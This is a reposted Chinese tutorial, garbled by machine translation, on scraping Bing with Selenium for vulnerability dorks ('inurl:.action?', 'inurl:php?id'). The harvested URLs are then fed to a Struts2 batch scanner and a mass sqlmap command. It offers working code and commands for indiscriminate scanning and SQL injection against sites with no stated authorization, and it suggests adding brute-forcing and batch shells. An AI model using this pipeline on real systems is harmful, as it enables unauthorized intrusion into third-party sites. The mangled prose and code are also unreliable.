首页 > 编程知识 正文

python爬虫爬取淘宝(爬虫selenium的缺点)

时间:2023-05-06 02:17:39 阅读:86289 作者:2131

原件: k合天智汇

前言

赛扬基础

制定攀登目标

写代码

取得效果

总结

前言

这篇文章就爬虫对安全的吸引力进行说明。 在本页面中,不仅可以是sql和stu2的历史爬虫类,也可以是其他检索关键字

赛扬基础

介绍

python在玩爬虫。 爬静态网页时,requests库用作请求,bs4和lxml库用作分析捕获网页的内容

目前,各大搜索引擎都是动态加载的,我们知道一些关于如何爬动态网页的方法:

1 .直接url:搜索js的api接口

2.webkit手动模拟js

3.scrapyjs scrapyjs相当于粘合剂的作用,可以将splash并入scrapy

4 .飞溅坞站

5 .同时使用5.phatomjs selenium和模拟浏览器的话,消耗量很大,不适合大型爬虫

这里使用的是方法5,但是phatomjs不再和selenium组cp,可以继续使用。 另外,火狐和谷歌也推出了无头浏览器方式,所以使用谷歌浏览器的驱动程序来实现目标。 (调试时注意版本,根据css和xpath的版本不同,选择表达式可能会有所不同。 )

我没有使用头枕的方式。 注意调试容易,我们只是安全研究; 读者想使用时,可以这样继续修改。

chrome _ options=选项(

chrome _ options.add _ argument ('-- headless ' )

驱动程序=web驱动程序. chrome (执行路径=(r ' d : (绿色/绿色驱动程序. exe ) )、颜色路径=(r ' d : )

安装赛扬

下载驱动器:

3559 www.cn博客.com /自由网络/p/4568463.html

359 www.cn blogs.com/qiezi zi/p/8632058.html

python安装selenium库即可(pip安装selenium ) )。

一些简单的语法知识,大家自己搜索

赛扬常见问题解答

这个还是提交。 语法很简单,关键调试很麻烦

1、无法确定要素

这个问题是,没有加载完网页就把元素拿走了。 本来是第一次设定sleep (因为插座会断,所以是内置的

汇入选取项目.网路驱动程式.支援.使用者介面

wait=ui.webdriverwait (驱动器,20 ) () ) ) ) ) ) ) ) ) )一点。) ) )一点) ) )一点。) ) ) )一点。)

print wait.until (lambdax : x.find _ element _ by _ CSS _ selector (' # b _ results Li.b _ pagnavullli 360 nth-(从

2、python的ascii代码

importsys

读取(系统) )。

sys.set默认编码(‘utf-8’) )。

3、元素不在视图中

因为最疼,找了很长时间的方法

显示“元素不可见”

在动作链上模拟鼠标单击

参考:

3558 www.mami代码.com /信息详细信息- 1981462.html

4、制定攀登目标

如何制作? 让我们搜索bing国际版,寻找struts2中可能存在的漏洞

5、写代码

制作过程,如果有兴趣的话请研究一下。 作者在这里列举了几点,其他语法还很容易检索到。 然后,逐一向下滚动,收集每页的网站; 这个xpath和css选择的语法和你下面的浏览器驱动程序的版本有关。 进入浏览器后变更选择代码即可。 (并不是说不能执行。 可用于专业测试) )。

代码:

# # coding=utf-8

importsys

读取(系统) )。

sys.set默认编码(' utf-8 ' ) )。

导入时间

从单元格

enium import webdriver

importselenium.webdriver.support.ui as ui

fromselenium.webdriver.common.keys import Keys

fromselenium.common.exceptions import TimeoutException

#引入ActionChains鼠标操作类

fromselenium.webdriver.common.action_chains import ActionChains

start_url="https://cn.bing.com/search?q=inurl%3a.action%3f&qs=n&sp=-1&pq=inurl%3a.action%3f&sc=1-14&sk=&cvid=DBCB283FC96249E8A522340DF4740769&first=67&FORM=PERE4"

urls=range(200)

m=0

s=[1,2,3,4,5,6,7,8,9]

driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")

wait=ui.WebDriverWait(driver,20)

driver.get(start_url)

forn in range(7,57):

ifn%2 == 1:#国内版

i=7

else:

i=8

i=7

forj in s[0:]:

try:

#//*[@id="b_results"]/li[1]/h2/a国际版本

#printwait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h2/a').get_attribute("href"))

#urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h2/a').get_attribute("href"))

#国内版本

printwait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h2/a').get_attribute("href"))

urls[m]=wait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h2/a').get_attribute("href"))

m=m+1

exceptException as e:

continue

try:

printi

ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child("+str(i)+") >a"))).perform()

exceptException as e:

continue

withopen("urlss.txt","a+") as f:

forurl in urls[0:]:

f.write(str(url))

f.write('n')

f.close()

driver.quit()

实现效果

这里用的某公司的批量工具

工具链接:

https://www.jb51.net/softs/574358.html

提供一个开源的stu工具链接:github的开源项目,紧跟步伐,刚更新了前几天的057

作者项目地址:

https://github.com/Lucifer1993/struts-scan

测试的效果图如下:

补充

虽然sql的洞不好找,前两年来打,是成片区的,现在不好了,但是作者还是写了个爬取代码

目标:搜索敏感词语:inurl:php?id

代码:

#coding=utf-8

importsys

reload(sys)

sys.setdefaultencoding('utf-8')

importtime

fromselenium import webdriver

importselenium.webdriver.support.ui as ui

fromselenium.webdriver.common.keys import Keys

fromselenium.common.exceptions import TimeoutException

#引入ActionChains鼠标操作类

fromselenium.webdriver.common.action_chains import ActionChains

start_url="https://cn.bing.com/search?q=inurl%3aphp%3fid%3d&qs=HS&sc=8-0&cvid=2EEF822D8FE54B6CAAA1CE0169CA5BC5&sp=1&first=53&FORM=PERE3"

urls=range(800)

m=0

s=[1,2,3,4,5,6,7,8,9,10,11,12,13,14]

driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")

wait=ui.WebDriverWait(driver,20)

driver.get(start_url)

fori in range(1,50):

forj in s[0:]:

try:

urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h2/a').get_attribute("href"))

printurls[m]

m=m+1

exceptException as e:

e.message

printi

try:

ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child(7) > a"))).perform()

exceptException as e:

continue

printm

withopen("urls.txt","a+") as f:

forurl in urls[0:]:

f.write(str(url))

f.write('n')

f.close()

driver.quit()

测试效果

由于周期太长,没有具体去测试,但是url是爬取下来的,我给出sqlmap的指令

(正在考虑shell多线程跑sqlmap,提供思路参考,学习为目的,漏洞很少很少了;shell多线程参考:https://blog.csdn.net/bluecloudmatrix/article/details/48421577)

sqlmap-murls.txt --batch--delay=1.3--level=3--tamper=space2comment--dbms=mysql--technique=EUS--random-agent--is-dba--time-sec=10| tee result.txt

分析命令

1、sqlmap -m 指定文件

2、--delay 指定每次请求requests的间隔时间,默认0.5

3、--level 检测请求头,如来源,agent等,默认是1

4、--dbms=mysql 指定数据库是mysql

5、--technique=EUS,(不做盲注的检测,本来周期就长)

B:Boolean-based blind SQL injection(布尔型注入)

E:Error-based SQL injection(报错型注入)

U:UNION query SQL injection(可联合查询注入)

S:Stacked queries SQL injection(可多语句查询注入)

T:Time-based blind SQL injection(基于时间延迟注入)

6、tee管道命令,显示在屏幕的同时输出到文件中供我们分析

总结

1、初步了解了师傅们的批量也是通过寻找目标机子开始的,所以爬虫是我们的qjdqc

2、通过关键字在搜索引擎上搜索目标(inurl:.active inuel:php?id)

3、我们通过爬虫来爬取了目标(selenium的动态爬取)

4、我们通过现有的工具来分析目标:某批量stru工具以及神器sqlmap

5、可发散思维,如密码爆破呀,批量shell呀,可以不可以结合起来呢

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。